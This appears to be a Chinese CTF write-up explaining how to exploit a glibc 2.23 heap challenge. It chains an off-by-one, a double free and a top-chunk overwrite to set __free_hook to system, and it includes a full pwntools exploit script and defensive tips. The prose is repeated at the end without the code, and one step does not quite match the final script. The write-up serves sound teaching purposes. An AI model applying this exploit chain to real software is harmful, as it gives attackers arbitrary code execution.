关于通过Topchunk覆写Free_hook方法介绍
字数 1445 2025-08-24 20:49:31

Topchunk覆写与Free_hook利用技术详解

1. 程序环境与保护机制分析

1.1 程序基本信息

  • 环境:Ubuntu 16.04,libc-2.23
  • 文件类型:ELF64
  • 保护机制:
    • RELRO: Full RELRO
    • Stack: Canary found
    • NX: NX enabled
    • PIE: PIE enabled

1.2 程序功能

程序提供三个主要功能:

  1. Add - 添加堆块
  2. Delete - 删除堆块
  3. Show - 显示堆块内容

2. 漏洞分析

2.1 关键漏洞点

  1. Off-by-one漏洞

    • 在添加堆块时,read(0, buf, v0 + 1)多读了一个字节
    • 允许覆盖下一个chunk的size字段
  2. 强制修改malloc_hook

    • 每次添加分配内存时,都会强制修改__malloc_hook指向sub_AB0函数
  3. UAF潜在风险

    • 删除堆块后指针被清空,但存在double free的可能性

3. 利用思路与步骤

3.1 泄露libc地址

步骤

  1. 分配一个unsorted bin大小的chunk(0x100)
  2. 分配一个小chunk(0x68)作为隔离
  3. 释放第一个chunk进入unsorted bin
  4. 重新分配相同大小的chunk(0x100),读取时泄露main_arena地址
add(0x100, '0000') #0
add(0x68, '1111')  #1
delete(0)
add(0x100, 'a'*8)  #0
show()

3.2 构造Fastbin Double Free

步骤

  1. 分配三个0x68大小的chunk(2-4)
  2. 释放chunk1后重新分配,利用off-by-one覆盖chunk2的size
  3. 释放chunk2,此时会同时释放chunk3(因为size被修改)
  4. 重新分配chunk2和chunk5(落在原chunk3位置)
  5. 通过特定释放顺序构造double free
add(0x68, '2222') #2
add(0x68, '3333') #3
add(0x68, '4444') #4
delete(1)
add(0x68, '1'*0x68 + '\xe1') #1, 覆盖chunk2 size
delete(2) # 同时释放chunk3
add(0x68, '2222') #2
add(0x68, '5555') #5
delete(5)
delete(4)
delete(3) # double free chunk3

3.3 泄露堆地址

通过释放相邻chunk,使其中一个chunk写入堆地址,然后显示出来。

delete(6)
delete(5) # 在chunk3中写入堆地址
show()

3.4 劫持Free_hook

3.4.1 修改top chunk指针

  1. __malloc_hook附近找到伪造的chunk size(0x70)
  2. 将fastbin指向伪造的chunk
  3. 分配后修改top chunk指向__free_hook附近
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23 + 0x20)) # heap3
add(0x68, '/bin/sh\x00') # heap4
add(0x68, '5555') # heap5
add(0x68, chr(0x0)*(0x1b-8) + p64(0) + p64(0x70)*3 + p64(libc.sym['__malloc_hook']+0x20))
add(0x68, chr(0)*0x38 + p64(libc.sym['__free_hook'] - 0xb58))

3.4.2 精确覆盖free_hook

  1. 计算需要分配的chunk数量:0xb58/0xa0=18
  2. 分配足够数量的chunk到达__free_hook位置
  3. 覆盖__free_hook为system地址
for i in range(18):
    add(0x90, 'aaa')
add(0x90, 'a'*8 + p64(libc.sym['system']))

3.4.3 触发system("/bin/sh")

释放包含"/bin/sh"字符串的chunk

delete(4) # heap4 content:/bin/sh\x00

4. 关键技术点

4.1 Topchunk覆写技术

  1. 通过修改top chunk指针,使其指向目标区域
  2. 需要找到满足条件的伪造size(通常较大,如>0x10000)
  3. 通过多次分配精确控制写入位置

4.2 Free_hook利用特点

  1. 适用于Full RELRO情况
  2. 需要控制free的参数(如包含"/bin/sh"的chunk)
  3. 相比malloc_hook利用,约束条件更少

4.3 绕过保护机制

  1. 针对PIE:通过泄露地址计算基址
  2. 针对Full RELRO:不使用GOT表,转而利用hook
  3. 针对NX:使用ROP或直接调用system

5. 完整EXP示例

from pwn import *

context.log_level='debug'
p = process('./heap')
libc = ELF('./heap').libc

def add(size, data):
    p.sendlineafter('Choice :', '1')
    p.sendlineafter('size: ', str(size))
    p.sendafter('data: ', data)

def delete(index):
    p.sendlineafter('Choice :', '2')
    p.sendlineafter('delete: ', str(index))

def show():
    p.sendlineafter('Choice :', '3')

# 泄露libc地址
add(0x100, '0000') #0
add(0x68, '1111') #1
delete(0)
add(0x100, 'aaaaaaaa') #0
show()
libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\0'))
libc.address = libc_addr - 0x3c4b20 - 88

# 构造double free
add(0x68, '2222') #2
add(0x68, '3333') #3
add(0x68, '4444') #4
delete(1)
add(0x68, '1'*0x68 + '\xe1') #1
delete(2)
add(0x68, '2222') #2
add(0x68, '5555') #5
delete(5)
delete(4)
delete(3)

# 劫持free_hook
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23 + 0x20))
add(0x68, '/bin/sh\x00')
add(0x68, 'cccc')
add(0x68, chr(0x0)*(0x1b-8) + p64(0) + p64(0x70)*3 + p64(libc.sym['__malloc_hook']+0x20))
add(0x68, chr(0)*0x38 + p64(libc.sym['__free_hook'] - 0xb58))

for i in range(18):
    add(0x90, 'aaa')
add(0x90, 'a'*8 + p64(libc.sym['system']))
delete(4)

p.interactive()

6. 防御建议

  1. 修复off-by-one漏洞
  2. 增加堆块释放时的完整性检查
  3. 考虑使用更现代的堆分配器(如libc-2.32+)
  4. 实现更严格的堆元数据验证
  5. 限制堆块大小的灵活性
Topchunk覆写与Free_ hook利用技术详解 1. 程序环境与保护机制分析 1.1 程序基本信息 环境:Ubuntu 16.04,libc-2.23 文件类型:ELF64 保护机制: RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 1.2 程序功能 程序提供三个主要功能: Add - 添加堆块 Delete - 删除堆块 Show - 显示堆块内容 2. 漏洞分析 2.1 关键漏洞点 Off-by-one漏洞 : 在添加堆块时, read(0, buf, v0 + 1) 多读了一个字节 允许覆盖下一个chunk的size字段 强制修改malloc_ hook : 每次添加分配内存时,都会强制修改 __malloc_hook 指向 sub_AB0 函数 UAF潜在风险 : 删除堆块后指针被清空,但存在double free的可能性 3. 利用思路与步骤 3.1 泄露libc地址 步骤 : 分配一个unsorted bin大小的chunk(0x100) 分配一个小chunk(0x68)作为隔离 释放第一个chunk进入unsorted bin 重新分配相同大小的chunk(0x100),读取时泄露main_ arena地址 3.2 构造Fastbin Double Free 步骤 : 分配三个0x68大小的chunk(2-4) 释放chunk1后重新分配,利用off-by-one覆盖chunk2的size 释放chunk2,此时会同时释放chunk3(因为size被修改) 重新分配chunk2和chunk5(落在原chunk3位置) 通过特定释放顺序构造double free 3.3 泄露堆地址 通过释放相邻chunk,使其中一个chunk写入堆地址,然后显示出来。 3.4 劫持Free_ hook 3.4.1 修改top chunk指针 在 __malloc_hook 附近找到伪造的chunk size(0x70) 将fastbin指向伪造的chunk 分配后修改top chunk指向 __free_hook 附近 3.4.2 精确覆盖free_ hook 计算需要分配的chunk数量: 0xb58/0xa0=18 分配足够数量的chunk到达 __free_hook 位置 覆盖 __free_hook 为system地址 3.4.3 触发system("/bin/sh") 释放包含"/bin/sh"字符串的chunk 4. 关键技术点 4.1 Topchunk覆写技术 通过修改top chunk指针,使其指向目标区域 需要找到满足条件的伪造size(通常较大,如>0x10000) 通过多次分配精确控制写入位置 4.2 Free_ hook利用特点 适用于Full RELRO情况 需要控制free的参数(如包含"/bin/sh"的chunk) 相比malloc_ hook利用,约束条件更少 4.3 绕过保护机制 针对PIE:通过泄露地址计算基址 针对Full RELRO:不使用GOT表,转而利用hook 针对NX:使用ROP或直接调用system 5. 完整EXP示例 6. 防御建议 修复off-by-one漏洞 增加堆块释放时的完整性检查 考虑使用更现代的堆分配器(如libc-2.32+) 实现更严格的堆元数据验证 限制堆块大小的灵活性